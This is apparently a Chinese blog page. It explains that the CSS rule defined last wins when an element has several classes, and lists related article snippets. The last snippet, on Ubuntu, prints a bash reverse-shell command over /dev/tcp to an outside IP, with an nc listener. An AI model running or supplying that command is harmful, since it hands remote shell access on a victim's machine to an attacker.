1、选择器优先级

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="style.css">
    <title>Document</title>
    <style>
    .a1 {color: red}
    .a2 { color: yellow}
    .a3 { color: green;}
    </style>
</head>
<body>
    <div class="a1 a4 a3 a2">hello</div>
</body>
</html>
// style.css

.a4 { color: blue;}

结论是a3起效，这和class先后使用顺序没关，和css样式先后定义顺序有关，a3是最后定义的，会覆盖前面的样式。

css代码陷阱的更多相关文章

  1. CssStats – 分析和优化网站 CSS 代码的利器

    CssStats 是一个在线的 CSS 代码分析工具,你只需要输入网址或者直接 CSS 地址即可进行 CSS 代码的全方位分析,是前端开发人员和网页设计师分析网站 CSS 代码的利器,可以统计出 CS ...

  2. Less:优雅的写CSS代码

    css是不能够定义变量的,也不能嵌套.它没有编程语言的特性.在项目开发中,常常发现有很多css代码是相同的,但我们通常都是复制然后粘贴. 举个例子:假设h5应用里主题色是#FF3A6D,可能用于文字或 ...

  3. 我的页面定制CSS代码（SimpleGamboge皮肤）

    我的页面定制CSS代码,针对博客园SimpleGamboge皮肤. 调整: 1.左上图片更换为自己的头像 2.扩大左侧栏宽度,缩小右侧主栏宽度宽度 3.扩大内容页面的评论区宽度,工具图标靠左 4.去广 ...

  4. CSS 代码技巧与维护 ★ Mozilla Hacks – the Web developer blog

    原文链接:https://hacks.mozilla.org/2016/05/css-coding-techniques/ 译文链接 :http://www.zcfy.cc/article/css-c ...

  5. 实用的60个CSS代码片段

    1.垂直对齐 如果你用CSS,则你会有困惑:我该怎么垂直对齐容器中的元素?现在,利用CSS3的Transform,可以很优雅的解决这个困惑: .verticalcenter{ position: re ...

  6. HTML+CSS代码橙色导航菜单

    效果预览:http://hovertree.com/code/texiao/ks63r6aq.htm <!DOCTYPE html> <html xmlns="http:/ ...

  7. 兼容性背景颜色半透明CSS代码（不影响内部子元素）

    如何简单兼容性的实现父元素是半透明背景色,而子元素不受影响. 兼容所有浏览器的背景颜色半透明CSS代码: background-color: rgba(, , , .); filter: progid ...

  8. 20个编写现代 CSS 代码的建议

    明白何谓Margin Collapse 不同于其他很多属性,盒模型中垂直方向上的Margin会在相遇时发生崩塌,也就是说当某个元素的底部Margin与另一个元素的顶部Margin相邻时,只有二者中的较 ...

  9. [No00007B]DreamweaverCC 的CSS代码格式化

    Dreamweaver自带的代码格式化功能. 1.步骤:命令 -> 应用源格式. 2.你可以选择你的偏好.特别是css代码,有些人喜欢每个属性单独一行,有些人喜欢把所有属性写在同一行.步骤:编辑 ...

随机推荐

  1. LightOJ - 1170 - Counting Perfect BST（卡特兰数）

    链接: https://vjudge.net/problem/LightOJ-1170 题意: BST is the acronym for Binary Search Tree. A BST is ...

  2. Zookeeper选举（fastleaderelection算法）

    1.选举相关概念: 选票:(myid,zxid,当前节点选取轮次,被推举服务器选举轮次,状态(looking)). 选举发生情况:启动时选举,运行时选举. 外部投票:其他服务器发送来的投票. 内部投票 ...

  3. VS - Paginated

    BootstrapPagination.cshtml @model PaginationModel <div class="pagination"> <ul> ...

  4. vue中插槽作用域的使用

    一.插槽作用域 1.简单来说就是带参数的插槽: 2.使用方式: 在组件标签内部加一个template标签 在template标签上加一个属性scope 值随意书写 在组件内部用slot进行接受,如果给 ...

  5. Qt读写三种文件，QSettings读ini配置文件，QJsonDocument读JSON文件，QDomDocument读xml文件

    第一种INI配置文件 .ini 文件是Initialization File的缩写,即初始化文件. 除了windows现在很多其他操作系统下面的应用软件也有.ini文件,用来配置应用软件以实现不同用户 ...

  6. 【HTML】行内元素与块级元素

    一.行内元素与块级元素的三个区别 1.行内元素与块级元素直观上的区别 行内元素会在一条直线上排列,都是同一行的,水平方向排列 块级元素各占据一行,垂直方向排列.块级元素从新行开始结束接着一个断行. 2 ...

  7. 在Ubuntu 或 Debian 系统环境安装MYSQL数据库

    一.第一步下载myslq安装程序 sudo apt-get install mysql-server mysql-client apt-get程序会自动下载安装最新的mysql版本.在安装的最后,它会 ...

  8. 洛谷 P1807 最长路_NOI导刊2010提高（07） 题解

    P1807 最长路_NOI导刊2010提高(07) 题目描述 设G为有n个顶点的有向无环图,G中各顶点的编号为1到n,且当为G中的一条边时有i < j.设w(i,j)为边的长度,请设计算法,计算 ...

  9. 【CSP模拟赛】奇怪的队列（树状数组 &二分&贪心）

    题目描述 nodgd的粉丝太多了,每天都会有很多人排队要签名.  今天有n个人排队,每个人的身高都是一个整数,且互不相同.很不巧,nodgd今天去忙别的事情去了,就只好让这些粉丝们明天再来.同时nod ...

  10. Ubuntu -- 反射shell nc

    攻击机: apt-get install netcat nc -lvvp 80 受害机: /bin/bash -i >& /dev/tcp/139.xxx.18.xx/80 0>& ...